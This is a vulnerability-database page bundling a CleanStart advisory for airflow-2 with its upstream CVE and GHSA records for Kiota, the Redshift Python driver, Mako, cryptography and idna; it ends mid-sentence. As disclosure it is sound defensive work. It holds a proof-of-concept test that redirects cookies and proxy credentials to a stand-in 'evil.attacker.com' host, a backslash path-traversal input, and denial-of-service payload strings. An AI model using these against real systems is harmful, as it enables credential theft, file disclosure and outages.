Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Multiple security vulnerabilities affect the airflow-2 package. These issues are resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "airflow-2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.0-r3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the airflow-2 package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-GP34045",
"modified": "2026-06-26T11:06:44Z",
"published": "2026-07-21T09:48:09.850340Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-GP34045.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-44503"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-29h4-r29x-hchv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-2h4p-vjrc-8xpq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-537c-gmf6-5ccf"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-65pc-fj4g-8rjx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7j59-v9qr-6fq9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-hpj7-wq8m-9hgp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pw6j-qg29-8w7f"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w7vc-732c-9m39"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44503"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2026-44503, ghsa-29h4-r29x-hchv, ghsa-2h4p-vjrc-8xpq, ghsa-537c-gmf6-5ccf, ghsa-65pc-fj4g-8rjx, ghsa-7j59-v9qr-6fq9, ghsa-hpj7-wq8m-9hgp, ghsa-pw6j-qg29-8w7f, ghsa-w7vc-732c-9m39 applied in versions: 2.11.0-r2, 2.11.0-r3",
"upstream": [
"CVE-2026-44503",
"ghsa-29h4-r29x-hchv",
"ghsa-2h4p-vjrc-8xpq",
"ghsa-537c-gmf6-5ccf",
"ghsa-65pc-fj4g-8rjx",
"ghsa-7j59-v9qr-6fq9",
"ghsa-hpj7-wq8m-9hgp",
"ghsa-pw6j-qg29-8w7f",
"ghsa-w7vc-732c-9m39"
]
}
CVE-2026-44503 (GCVE-0-2026-44503)
Vulnerability from cvelistv5 – Published: 2026-05-14 15:58 – Updated: 2026-05-14 19:51- CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')
| URL | Tags |
|---|---|
| https://github.com/microsoft/kiota-java/security/… | x_refsource_CONFIRM |
| Vendor | Product | Version | |
|---|---|---|---|
| microsoft | kiota-java |
Affected:
< 1.9.1
|
|
| microsoft | Microsoft.Kiota.Abstractions |
Affected:
< 1.22.0
|
|
| microsoft | github.com/microsoft/kiota-http-go |
Affected:
< 1.5.5
|
|
| microsoft | kiota-typescript |
Affected:
< 1.0.0-preview.100
|
|
| microsoft | microsoft-kiota-abstractions |
Affected:
< 1.9.1
|
|
| microsoft | microsoft-kiota-http |
Affected:
< 1.9.9
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-44503",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-05-14T18:02:08.790490Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-05-14T19:51:10.682Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/microsoft/kiota-java/security/advisories/GHSA-7j59-v9qr-6fq9"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "kiota-java",
"vendor": "microsoft",
"versions": [
{
"status": "affected",
"version": "\u003c 1.9.1"
}
]
},
{
"product": "Microsoft.Kiota.Abstractions",
"vendor": "microsoft",
"versions": [
{
"status": "affected",
"version": "\u003c 1.22.0"
}
]
},
{
"product": "github.com/microsoft/kiota-http-go",
"vendor": "microsoft",
"versions": [
{
"status": "affected",
"version": "\u003c 1.5.5"
}
]
},
{
"product": "kiota-typescript",
"vendor": "microsoft",
"versions": [
{
"status": "affected",
"version": "\u003c 1.0.0-preview.100"
}
]
},
{
"product": "microsoft-kiota-abstractions",
"vendor": "microsoft",
"versions": [
{
"status": "affected",
"version": "\u003c 1.9.1"
}
]
},
{
"product": "microsoft-kiota-http",
"vendor": "microsoft",
"versions": [
{
"status": "affected",
"version": "\u003c 1.9.9"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "HIGH",
"subIntegrityImpact": "NONE",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-601",
"description": "CWE-601: URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-05-14T15:58:57.772Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/microsoft/kiota-java/security/advisories/GHSA-7j59-v9qr-6fq9",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/microsoft/kiota-java/security/advisories/GHSA-7j59-v9qr-6fq9"
}
],
"source": {
"advisory": "GHSA-7j59-v9qr-6fq9",
"discovery": "UNKNOWN"
},
"title": "Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-44503",
"datePublished": "2026-05-14T15:58:57.772Z",
"dateReserved": "2026-05-06T18:28:20.886Z",
"dateUpdated": "2026-05-14T19:51:10.682Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-29H4-R29X-HCHV
Vulnerability from github – Published: 2026-05-29 19:32 – Updated: 2026-06-02 21:41Summary
amazon-redshift-python-driver is the official Python connector for Amazon Redshift. In versions 2.1.13 and earlier, the driver insufficiently validates data received from the server during query result processing. A rogue server or man-in-the-middle could leverage this to execute arbitrary code on the client.
Impact
When a client connects to a rogue server implementing the PostgreSQL wire protocol, the server can send specially crafted query responses that the driver processes without adequate input validation. This could result in arbitrary code execution in the client process, potentially enabling command execution, file system access, or credential theft with the privileges of the client application.
Impacted versions: <=2.1.13
Patches
This has been addressed in amazon-redshift-python-driver version 2.1.14 (https://github.com/aws/amazon-redshift-python-driver/releases/tag/v2.1.14). Amazon Redshift recommends upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.
References
If there are any questions or comments about this advisory, contact AWS Security via the issue reporting page or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.
Acknowledgement
Amazon Redshift would like to thank Kexin Chen (@ckx-sec) for collaborating through the coordinated disclosure process.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.13"
},
"package": {
"ecosystem": "PyPI",
"name": "redshift-connector"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-8838"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T19:32:28Z",
"nvd_published_at": "2026-05-18T21:16:41Z",
"severity": "CRITICAL"
},
"details": "### Summary\namazon-redshift-python-driver is the official Python connector for Amazon Redshift. In versions 2.1.13 and earlier, the driver insufficiently validates data received from the server during query result processing. A rogue server or man-in-the-middle could leverage this to execute arbitrary code on the client.\n\n### Impact\nWhen a client connects to a rogue server implementing the PostgreSQL wire protocol, the server can send specially crafted query responses that the driver processes without adequate input validation. This could result in arbitrary code execution in the client process, potentially enabling command execution, file system access, or credential theft with the privileges of the client application.\n\nImpacted versions: \u003c=2.1.13\n\n### Patches\nThis has been addressed in amazon-redshift-python-driver version 2.1.14 (https://github.com/aws/amazon-redshift-python-driver/releases/tag/v2.1.14). Amazon Redshift recommends upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.\n\n### References\nIf there are any questions or comments about this advisory, contact AWS Security via the issue reporting page or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.\n\n### Acknowledgement\nAmazon Redshift would like to thank Kexin Chen (@ckx-sec) for collaborating through the coordinated disclosure process.",
"id": "GHSA-29h4-r29x-hchv",
"modified": "2026-06-02T21:41:29Z",
"published": "2026-05-29T19:32:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aws/amazon-redshift-python-driver/security/advisories/GHSA-29h4-r29x-hchv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8838"
},
{
"type": "WEB",
"url": "https://github.com/aws/amazon-redshift-python-driver/commit/69a69dfdead75918e20384da52bcd760ded8dbca"
},
{
"type": "WEB",
"url": "https://aws.amazon.com/security/security-bulletins/2026-033-aws"
},
{
"type": "PACKAGE",
"url": "https://github.com/aws/amazon-redshift-python-driver"
},
{
"type": "WEB",
"url": "https://github.com/aws/amazon-redshift-python-driver/releases/tag/v2.1.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "amazon-redshift-python-driver vulnerable to Remote Code Execution via eval() Injection"
}
GHSA-2H4P-VJRC-8XPQ
Vulnerability from github – Published: 2026-05-06 21:45 – Updated: 2026-05-13 16:43Summary
On Windows, a URI using backslash traversal (e.g. \..\..\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory.
Details
The root cause is a mismatch between posixpath (used for URI normalization in get_template()) and os.path (used for file access via os.path.isfile() and validation via os.path.normpath() in Template.__init__). On Windows, os.path is ntpath, which treats \ as a path separator, while posixpath treats it as a literal character.
The vulnerability chain:
get_template()strips only leading/viare.sub(r"^\/+", "", uri)and normalizes withposixpath— backslash\is treated as a literal character, so\..\ secret.txtpasses through with..undetected.Template.__init__()validation usesos.path.normpath()— on Windows this resolves\..\ secret.txtto\secret.txt, which does not start with.., so thestartswith("..")check passes.os.path.isfile()on Windows interprets\as a path separator, resolving the..traversal and finding files outside the template directory.
Affected code
mako/lookup.py:TemplateLookup.get_template()usesposixpath.normpath/posixpath.joinfor path construction butos.path.isfile()for existence checkmako/template.py:Template.__init__()URI validation usesos.path.normpath()which on Windows resolves backslash traversal to a form that passes thestartswith("..")guard
Impact
If an application passes user-controlled template names or include paths to TemplateLookup.get_template(), an attacker on Windows may be able to load and disclose readable files outside the configured template directory. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.
Remediation
The fix should normalize backslashes to forward slashes early in the URI processing pipeline, before any path operations, to ensure consistent behavior across platforms.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.3.11"
},
"package": {
"ecosystem": "PyPI",
"name": "Mako"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44307"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T21:45:16Z",
"nvd_published_at": "2026-05-12T22:16:37Z",
"severity": "HIGH"
},
"details": "## Summary\n\nOn Windows, a URI using backslash traversal (e.g. `\\..\\..\\ secret.txt`) bypasses the directory traversal check in `Template.__init__` and the `posixpath`-based normalization in `TemplateLookup.get_template()`, allowing reads of files outside the configured template directory.\n\n\n## Details\n\nThe root cause is a mismatch between `posixpath` (used for URI normalization in `get_template()`) and `os.path` (used for file access via `os.path.isfile()` and validation via `os.path.normpath()` in `Template.__init__`). On Windows, `os.path` is `ntpath`, which treats `\\` as a path separator, while `posixpath` treats it as a literal character.\n\nThe vulnerability chain:\n\n1. `get_template()` strips only leading `/` via `re.sub(r\"^\\/+\", \"\", uri)` and normalizes with `posixpath` \u2014 backslash `\\` is treated as a literal character, so `\\..\\ secret.txt` passes through with `..` undetected.\n2. `Template.__init__()` validation uses `os.path.normpath()` \u2014 on Windows this resolves `\\..\\ secret.txt` to `\\secret.txt`, which does not start with `..`, so the `startswith(\"..\")` check passes.\n3. `os.path.isfile()` on Windows interprets `\\` as a path separator, resolving the `..` traversal and finding files outside the template directory.\n\n### Affected code\n\n- `mako/lookup.py`: `TemplateLookup.get_template()` uses `posixpath.normpath`/`posixpath.join` for path construction but `os.path.isfile()` for existence check\n- `mako/template.py`: `Template.__init__()` URI validation uses `os.path.normpath()` which on Windows resolves backslash traversal to a form that passes the `startswith(\"..\")` guard\n\n## Impact\n\nIf an application passes user-controlled template names or include paths to `TemplateLookup.get_template()`, an attacker on Windows may be able to load and disclose readable files outside the configured template directory. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.\n\n## Remediation\n\nThe fix should normalize backslashes to forward slashes early in the URI processing pipeline, before any path operations, to ensure consistent behavior across platforms.",
"id": "GHSA-2h4p-vjrc-8xpq",
"modified": "2026-05-13T16:43:11Z",
"published": "2026-05-06T21:45:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/security/advisories/GHSA-2h4p-vjrc-8xpq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44307"
},
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/issues/435"
},
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/commit/72e10c573ca0fbcbddd4455abca8ce92a61780d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/sqlalchemy/mako"
},
{
"type": "WEB",
"url": "https://github.com/sqlalchemy/mako/releases/tag/rel_1_3_12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Mako vulnerable to path traversal via backslash URI on Windows in TemplateLookup"
}
GHSA-537C-GMF6-5CCF
Vulnerability from github – Published: 2026-06-15 20:12 – Updated: 2026-06-15 20:12pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cryptography"
},
"ranges": [
{
"events": [
{
"introduced": "0.5.0"
},
{
"fixed": "48.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-1395"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:12:27Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "pyca/cryptography\u0027s wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.\n\nIf you are building cryptography source (\"sdist\") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.",
"id": "GHSA-537c-gmf6-5ccf",
"modified": "2026-06-15T20:12:27Z",
"published": "2026-06-15T20:12:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyca/cryptography"
},
{
"type": "WEB",
"url": "https://openssl-library.org/news/secadv/20260609.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Vulnerable OpenSSL included in cryptography wheels"
}
GHSA-65PC-FJ4G-8RJX
Vulnerability from github – Published: 2026-05-19 14:34 – Updated: 2026-07-08 17:35This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as "\u0660" * N or "\u30fb" * N + "\u6f22" utilize the valid_contexto function prior to length rejection, and for high values of N will take a long time to process.
Impact
A specially crafted argument to the idna.encode() function could consume significant resources. This may lead to a denial-of-service.
Patches
Starting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).
Workarounds
Domain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the idna.encode() function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "idna"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45409"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-19T14:34:32Z",
"nvd_published_at": "2026-06-05T23:16:43Z",
"severity": "MODERATE"
},
"details": "This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. Payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process.\n\n### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nStarting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support).\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.",
"id": "GHSA-65pc-fj4g-8rjx",
"modified": "2026-07-08T17:35:40Z",
"published": "2026-05-19T14:34:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45409"
},
{
"type": "PACKAGE",
"url": "https://github.com/kjd/idna"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2026-215.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Internationalized Domain Names in Applications (IDNA): Specially crafted inputs to idna.encode() can bypass CVE-2024-3651 fix"
}
GHSA-7J59-V9QR-6FQ9
Vulnerability from github – Published: 2026-05-07 01:49 – Updated: 2026-07-21 13:52Summary
The RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme.
This vulnerability is present in the RedirectHandlers for:
https://github.com/microsoft/kiota-dotnet https://github.com/microsoft/kiota-java https://github.com/microsoft/kiota-python https://github.com/microsoft/kiota-typescript https://github.com/microsoft/kiota-http-go
Details
Only the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.
This is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp's built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota's broken implementation.
Vulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:
boolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());
boolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());
if (!sameScheme || !sameHost) {
requestBuilder.removeHeader("Authorization");
// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed
}
PoC
-
Clone the repository: git clone --depth 1 https://github.com/microsoft/kiota-java.git cd kiota-java
-
Create the PoC test file at: components/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java
With this content:
package com.microsoft.kiota.http.middleware;
import static org.junit.jupiter.api.Assertions.*;
import com.microsoft.kiota.http.KiotaClientFactory;
import okhttp3.*;
import okhttp3.mockwebserver.*;
import org.junit.jupiter.api.Test;
public class SecurityPoC {
@Test
void crossHostRedirectLeaksCookies() throws Exception {
Request original = new Request.Builder()
.url("http://trusted.example.com/api")
.addHeader("Authorization", "Bearer token")
.addHeader("Cookie", "session=SECRET")
.addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==")
.build();
Response redirect = new Response.Builder()
.request(original).protocol(Protocol.HTTP_1_1)
.code(302).message("Found")
.header("Location", "http://evil.attacker.com/steal")
.body(ResponseBody.create("", MediaType.parse("text/plain")))
.build();
Request result = new RedirectHandler().getRedirect(original, redirect);
assertNotNull(result);
assertEquals("evil.attacker.com", result.url().host());
assertNull(result.header("Authorization")); // stripped (good)
assertEquals("session=SECRET", result.header("Cookie")); // LEAKED
assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED
}
@Test
void endToEndProof() throws Exception {
var evil = new MockWebServer();
evil.start();
evil.enqueue(new MockResponse().setResponseCode(200));
var trusted = new MockWebServer();
trusted.start();
trusted.enqueue(new MockResponse().setResponseCode(302)
.setHeader("Location", evil.url("/steal")));
OkHttpClient client = KiotaClientFactory.create(
new Interceptor[]{new RedirectHandler()}).build();
client.newCall(new Request.Builder().url(trusted.url("/api"))
.addHeader("Cookie", "session=SECRET").build()).execute();
trusted.takeRequest();
RecordedRequest captured = evil.takeRequest();
assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server
evil.shutdown();
trusted.shutdown();
}
}
-
Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC"
-
Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect.
Impact
The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.
Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request.
Impact: - Session hijacking via leaked Cookie headers - Corporate proxy credential theft via leaked Proxy-Authorization - API key theft via leaked custom auth headers (X-API-Key, etc.)
All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.microsoft.kiota:microsoft-kiota-abstractions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.Kiota.Abstractions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.22.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "microsoft-kiota-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "kiota-typescript"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0-preview.100"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/microsoft/kiota-http-go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44503"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T01:49:01Z",
"nvd_published_at": "2026-05-14T16:16:24Z",
"severity": "HIGH"
},
"details": "### Summary\nThe RedirectHandler middleware in microsoft/kiota-java (com.microsoft.kiota:microsoft-kiota-http-okHttp v1.9.0) and other Kiota libraries fails to strip sensitive HTTP headers when following 3xx redirects to a different host or scheme. \n\nThis vulnerability is present in the RedirectHandlers for:\n\nhttps://github.com/microsoft/kiota-dotnet\nhttps://github.com/microsoft/kiota-java\nhttps://github.com/microsoft/kiota-python\nhttps://github.com/microsoft/kiota-typescript\nhttps://github.com/microsoft/kiota-http-go\n\n\n### Details\nOnly the Authorization header is removed; Cookie, Proxy-Authorization, and all custom headers are forwarded to the redirect target.\n\nThis is the default middleware in every kiota-java HTTP client created via KiotaClientFactory.create(). OkHttp\u0027s built-in redirect handler (which handles this correctly) is explicitly disabled at line 63 of KiotaClientFactory.java in favor of kiota\u0027s broken implementation.\n\nVulnerable code in RedirectHandler.java lines 107-116 (getRedirect method) in versions 1.90 and earlier:\n\n```\nboolean sameScheme = locationUrl.scheme().equalsIgnoreCase(requestUrl.scheme());\nboolean sameHost = locationUrl.host().toString().equalsIgnoreCase(requestUrl.host().toString());\nif (!sameScheme || !sameHost) {\nrequestBuilder.removeHeader(\"Authorization\");\n// BUG: Cookie, Proxy-Authorization, and all other headers are NOT removed\n}\n```\n\n\n### PoC\n1. Clone the repository:\ngit clone --depth 1 https://github.com/microsoft/kiota-java.git\ncd kiota-java\n\n2. Create the PoC test file at:\ncomponents/http/okHttp/src/test/java/com/microsoft/kiota/http/middleware/SecurityPoC.java\n\nWith this content:\n```\npackage com.microsoft.kiota.http.middleware;\nimport static org.junit.jupiter.api.Assertions.*;\nimport com.microsoft.kiota.http.KiotaClientFactory;\nimport okhttp3.*;\nimport okhttp3.mockwebserver.*;\nimport org.junit.jupiter.api.Test;\n\npublic class SecurityPoC {\n@Test\nvoid crossHostRedirectLeaksCookies() throws Exception {\nRequest original = new Request.Builder()\n.url(\"http://trusted.example.com/api\")\n.addHeader(\"Authorization\", \"Bearer token\")\n.addHeader(\"Cookie\", \"session=SECRET\")\n.addHeader(\"Proxy-Authorization\", \"Basic cHJveHk6cGFzcw==\")\n.build();\nResponse redirect = new Response.Builder()\n.request(original).protocol(Protocol.HTTP_1_1)\n.code(302).message(\"Found\")\n.header(\"Location\", \"http://evil.attacker.com/steal\")\n.body(ResponseBody.create(\"\", MediaType.parse(\"text/plain\")))\n.build();\nRequest result = new RedirectHandler().getRedirect(original, redirect);\nassertNotNull(result);\nassertEquals(\"evil.attacker.com\", result.url().host());\nassertNull(result.header(\"Authorization\")); // stripped (good)\nassertEquals(\"session=SECRET\", result.header(\"Cookie\")); // LEAKED\nassertEquals(\"Basic cHJveHk6cGFzcw==\", result.header(\"Proxy-Authorization\")); // LEAKED\n}\n\n@Test\nvoid endToEndProof() throws Exception {\nvar evil = new MockWebServer();\nevil.start();\nevil.enqueue(new MockResponse().setResponseCode(200));\nvar trusted = new MockWebServer();\ntrusted.start();\ntrusted.enqueue(new MockResponse().setResponseCode(302)\n.setHeader(\"Location\", evil.url(\"/steal\")));\nOkHttpClient client = KiotaClientFactory.create(\nnew Interceptor[]{new RedirectHandler()}).build();\nclient.newCall(new Request.Builder().url(trusted.url(\"/api\"))\n.addHeader(\"Cookie\", \"session=SECRET\").build()).execute();\ntrusted.takeRequest();\nRecordedRequest captured = evil.takeRequest();\nassertEquals(\"session=SECRET\", captured.getHeader(\"Cookie\")); // LEAKED to evil server\nevil.shutdown();\ntrusted.shutdown();\n}\n}\n```\n\n3. Run the tests:\n./gradlew :components:http:okHttp:test --tests \"com.microsoft.kiota.http.middleware.SecurityPoC\"\n\n4. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures.\nBoth tests confirm Cookie and Proxy-Authorization headers are sent to the attacker\u0027s server on cross-host redirect.\n\n### Impact\nThe kiota-java bug is more severe because 